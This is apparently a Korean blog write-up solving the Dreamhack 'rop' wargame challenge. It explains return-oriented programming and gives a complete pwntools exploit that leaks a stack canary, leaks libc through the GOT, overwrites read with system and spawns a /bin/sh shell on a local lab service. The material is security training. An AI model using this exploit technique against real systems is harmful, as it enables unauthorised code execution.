https://dreamhack.io/wargame/challenges/354
로그인 | Dreamhack
dreamhack.io
0. 보호기법 확인

1. 소스코드 확인
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}
- 친절하게도 카나리를 추출하는곳과 rop를 사용하는곳을 주석으로 알려주고 있다.
ROP란?
Return-Oriented Programming으로 프로그램에 이미 존재하는 코드 조각들을 이어붙여 원하는 동작을 수행하는 공격 기법이다.
일반적으로 스택 버퍼 오버플로우가 발생하면 공격자는 반환 주소(return address)를 덮어쓸 수 있다.
ROP에서는 이 반환 주소를 이용해, 프로그램 내부에 존재하는 짧은 코드 조각인 gadget들을 순서대로 실행시킨다.
각 gadget은 보통 다음과 같은 형태를 가진다.
pop rdi
ret
mov rax, rdi
ret
보통
- NX(Non-Executable Stack)가 활성화되어 쉘코드를 직접 실행할 수 없을 때
- 기존 코드만을 이용해 공격을 수행해야 할 때
사용된다.
2. exploit 설계
우선 소스코드를 보면 알 수 있듯
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
이 부분을 이용하여 카나리를 유출시킬 것이다.
그렇다면 카나리가 스택의 어느 위치에 존재하는지부터 알아보도록 하자.

gdb에서 disas main명령어로 확인해본 결과 <+4>에서 스택의 크기는 총 0x40임을 알 수 있고,<+17>에서 카나리의 위치가 rbp - 0x8임을 알 수 있다.

그렇다면 canary를 leak할 수 있는 주소 계산은 쉽게 할 수 있고 그 다음으로 rop를 실행하는 부분을 살펴보자.
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
read 함수로 buf를 overflow 시킨 뒤 canary를 올바르게 놓고 return 함수까지 도달 한 후 rop chain을 시작하면 될것으로 보인다.
설계를 간략히 해보자면 read_got, read_plt, write_plt의 주소를 pwntool의 기능으로 얻은 뒤 read_got의 값을 system함수로 바꾸어 read_plt를 호출하면 system('/bin/sh')가 호출되게끔 만들 면 될 것으로 보인다.
3. ROP gadget 주소 찾기

- rdi가 함수의 첫번째 인자 rsi가 함수의 두번째 인자에 해당하는 포인터이기에 pop rdi 와 pop rsi가 있는 가젯의 주소를 복사
- offset을 맞추기 위해 필요한 ret 가젯의 주소도 복사해준다.
4. Canary leak
from pwn import *
p = remote('localhost',7182) # docker build -t rop -> docker run -it -p 7182:7182 rop
e = ELF('./rop')
libc = ELF('./libc.so.6')
buf = b'a'*0x30 + b'b'*0x9
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+ p.recvn(7))
print('canary is '+ str(hex(canary)))
- 다음과 같은 코드를 작성해보면 카나리가 정상적으로 나옴을 확인할 수 있다.
- buf에서 'b'를 9번 곱하는 이유는 카나리의 첫 번째 byte는 \x00이기에 딱 카나리만 얻을 수 있도록 offset을 조정한 것이다.
5. rop payload
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
pay = b'a'*0x38+ p64(canary)
pay += b'b'*8
# write(1,read_got,0x100)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi_r15) + p64(read_got)+p64(0)
pay += p64(write_plt)
#read(0,read_got,0x100)
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(read_plt)
#Overwrite
pay += p64(pop_rdi) + p64(read_got+0x8)
pay += p64(ret)
pay += p64(read_plt)
p.sendafter("Buf: ",pay)
read = u64(p.recvn(6)+b'\x00'*2)
print("Read_GOT is "+ str(hex(read)))
libcbase = read - libc.symbols['read']
system = libcbase + libc.symbols['system']
p.sendline(p64(system)+ b'/bin/sh\x00')
p.interactive()
- 첫번째 write 함수를 호출하여 read함수의 got 주소를 유출
- 두번째 read 함수를 호출하여 read 함수의 got 테이블에 입력상태를 만듬
- p64(pop_rdi) + p64(read_got+0x8) 이 부분이 잘 이해 안될 수 도 있는데 마지막쯔음에 보면 p.sendline(p64(system)+ b'/bin/sh\x00') 로 read_got + 8번째의 주소에 '/bin/sh' 문자열을 저장했기 때문에 rdi 에 '/bin/sh'문자열을 넣을 수 있는것
- 세번째 인자인 rdx에 아무런 값을 넣지 않았는데 0x100 이 된다는게 이해가 가지 않을 수도 있다. 이는 소스코드를 보면 알 수 있는데, read(0, buf, 0x100); 이라는 코드를 보면 이미 세번쨰 인자의 값으로 0x100이 넘어가게 되어 따로 rdx를 설정하지 않는다면 계속해서 rdx는 0x100으로 남기 때문이다.
6. 최종 payload
from pwn import *
p = remote('localhost',7182) # docker build -t rop -> docker run -it -p 7182:7182 rop
e = ELF('./rop')
libc = ELF('./libc.so.6')
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851
ret = 0x0000000000400596
read_got = e.got['read']
read_plt = e.plt['read']
write_plt = e.plt['write']
buf = b'a'*0x30 + b'b'*0x9
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf)
canary = u64(b'\x00'+ p.recvn(7))
print('canary is '+ str(hex(canary)))
pay = b'a'*0x38+ p64(canary)
pay += b'b'*8
# write(1,read_got,0x100)
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rsi_r15) + p64(read_got)+p64(0)
pay += p64(write_plt)
#read(0,read_got,0x100)
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(read_got) + p64(0)
pay += p64(read_plt)
# Overwrite
pay += p64(pop_rdi) + p64(read_got+0x8)
pay += p64(ret)
pay += p64(read_plt)
p.sendafter("Buf: ",pay)
read = u64(p.recvn(6)+b'\x00'*2)
print("Read_GOT is "+ str(hex(read)))
libcbase = read - libc.symbols['read']
system = libcbase + libc.symbols['system']
p.sendline(p64(system)+ b'/bin/sh\x00')
p.interactive()
'워게임' 카테고리의 다른 글
| [시스템 해킹] Master Canary write-up (0) | 2026.04.14 |
|---|---|
| [시스템 해킹] basic_rop_x64 write-up (0) | 2026.02.12 |
| [시스템 해킹] Tcache Poisoning write-up (0) | 2026.02.10 |
| [시스템 해킹] basic_exploitation_002 write up (0) | 2026.02.07 |
| [시스템 해킹] Return to Library write-up (0) | 2026.02.06 |